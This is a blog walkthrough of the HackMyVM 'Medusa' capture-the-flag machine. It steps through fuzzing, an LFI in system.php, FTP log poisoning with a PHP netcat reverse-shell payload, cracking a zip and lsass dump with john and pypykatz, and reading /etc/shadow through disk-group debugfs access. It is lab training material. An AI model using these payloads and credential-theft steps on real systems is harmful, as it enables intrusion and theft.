medusa writeup from hackmyvm walkthrough

Medusa from HackMyVM Writeup – Walkthrough

Medusa is a lengthy machine from the platform HackMyVM despite being easy. The machine’s author is noname and I must pay respect to him for putting effort into this machine. The VM includes many fuzzing techniques for subdomain enumeration and directory enumeration. Likewise, it also asks us to brute-force hashes to get passwords. “Medusa from HackMyVM Writeup – Walkthrough”

Click here to download the VM

To the people of Turkey and Syria

The recent earthquake in Turkey and Syria has shaken us all to the core, bringing back memories of similar tragedies I experienced in Nepal. My heart goes out to those who are facing loss, fear, and uncertainty, and I offer my deepest condolences to all those affected.

As someone who has seen the devastating aftermath of earthquakes, I know the vital role that support and aid play in the recovery process. I stand with the communities in Turkey and Syria and offer my support in their time of need. My thoughts and prayers are with them as they begin the difficult journey of rebuilding and healing.

Let us come together and do what we can to help those in need. Whether it be through donations, volunteering, or spreading awareness, every little bit counts. We stand with the affected communities and wish them strength, resilience, and hope for a better tomorrow.

Find the IP address

Firstly, we have to perform an ARP scan to identify the IP address of the target machine.

IP address of the target
 fping -aqg 10.0.0.0/24
10.0.0.1
10.0.0.2
10.0.0.3
10.0.0.4
10.0.0.233

Here, the IP address of my local machine is the one ending with 4, whereas that of the target ends with 233.

Scan services on the target

Next, we have to scan the open ports to identify services that we can interact with within the network.

Nmap scan
 nmap -sC -sV -p- -oN nmap.log 10.0.0.233
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-02 17:51 +0545
Nmap scan report for 10.0.0.233
Host is up (0.00098s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 70d4efc9276f8d957aa5511951fe14dc (RSA)
|   256 3f8d243fd25ecae6c9af372347bf1d28 (ECDSA)
|_  256 0c337e4e953db02d6a5eca39910d1308 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kerne

There are many things that we can guess from the Nmap scan. Firstly, if we didn’t have the SSH port open, we would be sure that we require to spawn a reverse shell. However, this is not the case in Medusa. Here, one possibility is that we can identify one of the usernames or the passwords, then brute-force the other. If we identify a username, there unlocks another path to find the private key. Likewise, a similar thing applies to the FTP server in the case of username and password.

On the other hand, we don’t have anonymous access to the FTP server. However, if we have access to LFI, we can check for log poisoning on both the FTP and SSH servers.

Check the web server

Whatever the case is, we need to first check the web server. At a first glance, it looks like the default apache page. However, there is a message with the word “Kraken” on the page that we can utilize later on the machine.

A message that includes a work “Kraken”

So, it’s pretty clear that we have to utilize gobuster to perform directory busting.

Gobuster scan on 10.0.0.233
 gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.0.0.233 -x php,txt,html -o medium.log
/.php                 (Status: 403) [Size: 275]
/index.html           (Status: 200) [Size: 10674]
/.html                (Status: 403) [Size: 275]
/manual               (Status: 301) [Size: 309] [--> http://10.0.0.233/manual/]
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/server-status        (Status: 403) [Size: 275]
/hades                (Status: 301) [Size: 308] [--> http://10.0.0.233/hades/]

From the scan, we get a new path /haded to look into. Like above, the path doesn’t have much information in it. So, we have to repeat the above process.

Perform directory busting on /hades
 gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.0.0.233/hades -x php,txt,html -o medium-hades.log
 cat medium-hades.log
/.php                 (Status: 403) [Size: 275]
/.html                (Status: 403) [Size: 275]
/index.php            (Status: 200) [Size: 0]
/door.php             (Status: 200) [Size: 555]
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]

Now, at this stage, we can connect our first hint about the word “Kraken” that said, “However check Kraken open the door”. Furthermore, the path takes an input that accepts a magic word. Here, we can guess “Kraken” is the magic word. However, you can also do fuzzing to identify the word.

Once we input the word “Kraken”, we see a domain name “medusa.hmv“.

Subdomain enumeration

Since the author wanted us to identify a domain, it’s mostly three of the cases. The first one is that there might be a different application running on the domain, the second one is that there might be different subdomains to look for and the last possibility is that it is a rabbit hole. However, since this is an easy machine and there aren’t any other possibilities, the first two options are more viable.

The main domain doesn’t have a different website, so we have to perform subdomain enumeration.

Subdomain enumeration
 ffuf -r -c -ic -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "HOST: FUZZ.medusa.hmv" -u 'http://10.0.0.233' -fs 10674

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.0.0.233
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.medusa.hmv
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 10674
________________________________________________

dev                     [Status: 200, Size: 1973, Words: 374, Lines: 26, Duration: 1423ms]
:: Progress: [114437/114437] :: Job [1/1] :: 667 req/sec :: Duration: [0:03:05] :: Errors: 0 ::

Here, we have a domain dev.medusa.hmv. To access it from a web browser, we have to add an entry to our /etc/hosts.

Directory busting on the subdomain

Like I said at the beginning of this post, we have to perform a lot of fuzzing on this VM. So, I performed a gobuster scan once again.

Gobuster directory scan on dev subdomain
 gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://dev.medusa.hmv -x php,txt,html -o medium-dev.log
/.php                 (Status: 403) [Size: 279]
/.html                (Status: 403) [Size: 279]
/index.html           (Status: 200) [Size: 1973]
/files                (Status: 301) [Size: 316] [--> http://dev.medusa.hmv/files/]
/assets               (Status: 301) [Size: 317] [--> http://dev.medusa.hmv/assets/]
/css                  (Status: 301) [Size: 314] [--> http://dev.medusa.hmv/css/]
/manual               (Status: 301) [Size: 317] [--> http://dev.medusa.hmv/manual/]
/robots.txt           (Status: 200) [Size: 489]
/.php                 (Status: 403) [Size: 279]
/.html                (Status: 403) [Size: 279]
/server-status        (Status: 403) [Size: 279]

Again, we have to perform gobuster scanning on /files.

Gobuster scan on /files
 gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://dev.medusa.hmv/files -x php,txt,html -o medium-dev-files.log
/.php                 (Status: 403) [Size: 279]
/index.php            (Status: 200) [Size: 0]
/.html                (Status: 403) [Size: 279]
/system.php           (Status: 200) [Size: 0]
/readme.txt           (Status: 200) [Size: 144]

Finally, we reach a script where we can expect a possibility of Local File Inclusion (LFI).

Local file inclusion

The script contains the LFI vulnerability that we can confirm by fuzzing.

ShellScript
 ffuf -r -c -ic -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://dev.medusa.hmv/files/system.php?FUZZ=/etc/passwd' -fs 0

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://dev.medusa.hmv/files/system.php?FUZZ=/etc/passwd
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

view                    [Status: 200, Size: 1452, Words: 14, Lines: 28, Duration: 26ms]

Once we identified the parameter that we can use to include files, we can check for various critical files. Here, we have wordlists for this purpose, but we can check for the known locations like the scripts, .bashrc, .profile, .bash_history, log files, etc. As we guess before, we can check for the /var/log/vsftpd.log file for the possibility of log poisoning. Luckily, it’s true. So, I listened on the netcat for a reverse shell.

listen for a reverse shell
 nc -nlvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001

Then, we have to try logging in with PHP scripts in the FTP server. When we do this, the username is logged into the log file and if we include the log file using the webserver, it gets executed.

Malicious login attempt at the FTP server
 lftp -u '<?php system("nc -e /bin/bash 10.0.0.4 9001"); ?>', 10.0.0.233
lftp <?php system("nc -e /bin/bash 10.0.0.4 9001"); ?>@10.0.0.233:~> ls
ls: Login failed: 530 Login incorrect.

Lastly, we have to execute the script as follows.

Execute the script
 curl http://dev.medusa.hmv/files/system.php\?view\=/var/log/vsftpd.log

This leads us to the reverse shell.

Reverse shell
 nc -nlvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.0.0.233.
Ncat: Connection from 10.0.0.233:46540.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@medusa:/var/www/dev/files$ ^Z
[1]  + 2705 suspended  nc -nlvp 9001
 stty raw -echo;fg
[1]  + 2705 continued  nc -nlvp 9001

www-data@medusa:/var/www/dev/files$ export TERM=xterm
www-data@medusa:/var/www/dev/files$ stty rows 28 cols 169
www-data@medusa:/var/www/dev/files$

Reference: Upgrade to an intelligent reverse shell

Get the user shell

When I was looking into the files, I found a different-looking directory in the root path. Furthermore, we can also explore the same thing while searching for writable files.

Check for writable files
www-data@medusa:/$ find / -writable ! -path '/proc*' ! -path '/dev*' ! -path '/sys*' ! -path '/run*' 2>/dev/null
/usr/lib/systemd/system/cryptdisks.service
/usr/lib/systemd/system/x11-common.service
/usr/lib/systemd/system/hwclock.service
/usr/lib/systemd/system/cryptdisks-early.service
/usr/lib/systemd/system/sudo.service
/usr/lib/systemd/system/rc.service
/usr/lib/systemd/system/rcS.service
/var/lib/php/sessions
/var/cache/apache2/mod_cache_disk
/var/tmp
/var/log/vsftpd.log
/var/lock
/tmp
/.../old_files.zip

Of course, the file was encrypted, so I have to download the file into my local machine. Then, I performed bruteforcing to extract the password of the zip file.

Bruteforce the zipfile password
 zip2john old_files.zip > hash
 john hash --wordlist=/home/kali/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
No password hashes left to crack (see FAQ)
 john hash --show
old_files.zip/lsass.DMP:<password_redacted>:lsass.DMP:old_files.zip:old_files.zip

1 password hash cracked, 0 left

From the bruteforcing, we can see the filename of the content of the archive and that looked like a lsass dump file. Anyways, we have to extract the file first. Since it used PK 5.1, we couldn’t unzip using unzip.

Extract content of the zip file
 7z x old_files.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i5-5200U CPU @ 2.20GHz (306D4),ASM,AES-NI)

Scanning the drive for archives:
1 file, 12387024 bytes (12 MiB)

Extracting archive: old_files.zip
--
Path = old_files.zip
Type = zip
Physical Size = 12387024

    
Enter password (will not be echoed):
Everything is Ok

Size:       34804383
Compressed: 12387024

The dump file might contain passwords that we can extract using pypykatz on Linux.

Read the dump file
 pypykatz lsa minidump lsass.DMP
#redacted for brevity
== WDIGEST [ce835]==
		username spectre
		domainname Medusa-PC
		password <password of spectre>
		password (hex) <Hex of password of spectre>

Here, we find the password of the user spectre that is also on the target VM. Using the password, we can log into the SSH server.

SSH access of the user spectre
 ssh spectre@medusa.hmv
spectre@medusa.hmv's password: 
Linux medusa 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Jan 21 14:57:30 2023 from 192.168.1.13
spectre@medusa:~$

Root shell

The root shell part on this machine is pretty easy. As usual, I check the groups of users. Here, the user belonged to the group disk.

Check the groups of the user
spectre@medusa:~$ id
uid=1000(spectre) gid=1000(spectre) groups=1000(spectre),6(disk),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

If the user belongs to the group disk, he can read sensitive files. We can utilize this exploit to read the hash from the /etc/shadow file. But first, we have to identify the disk’s mount path.

/ is mounted on /dev/sda1
spectre@medusa:~$ df -h
Filesystem      Size  Used Avail Use% Mounted on
udev            471M     0  471M   0% /dev
tmpfs            98M  504K   98M   1% /run
/dev/sda1       6.9G  1.7G  4.9G  26% /
tmpfs           489M     0  489M   0% /dev/shm
tmpfs           5.0M     0  5.0M   0% /run/lock
tmpfs            98M     0   98M   0% /run/user/1000

The root of the filesystem is mounted on /dev/sda1. Now, we can use debugfs to access the disk.

debugfs to access the disk
spectre@medusa:~$ /sbin/debugfs -w /dev/sda1
debugfs 1.46.2 (28-Feb-2021)
debugfs:  cat /etc/shadow

However, for the purpose of the CTF machine, we can also grab the root flag.

Once we grab the shadow hash of the user root, we can bruteforce it using john the ripper.

Crack the hash of root
 john root --wordlist=/home/kali/rockyou.txt --format=crypt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<rootpass>        (root)     
1g 0:00:00:47 DONE (2023-02-02 18:54) 0.02096g/s 78.50p/s 78.50c/s 78.50C/s 19871987..street
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Once we get the password, we can log in as the user root.

The root shell
spectre@medusa:~$ su -
Password: 
root@medusa:~# md5sum /etc/shadow; echo nepcodex.com
d5f4025789c1a2a2f48e97697f4fda78  /etc/shadow
nepcodex.com
root@medusa:~#

In this way, we can perform boot to root on the machine Medusa.

The notes for this machine are available from this link.

Also read: Check my walkthrough of an interesting machine “Double Trouble” from HackMyVM.

5 1 vote
Article Rating
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments
Scroll to top

Send help to Morocco.

X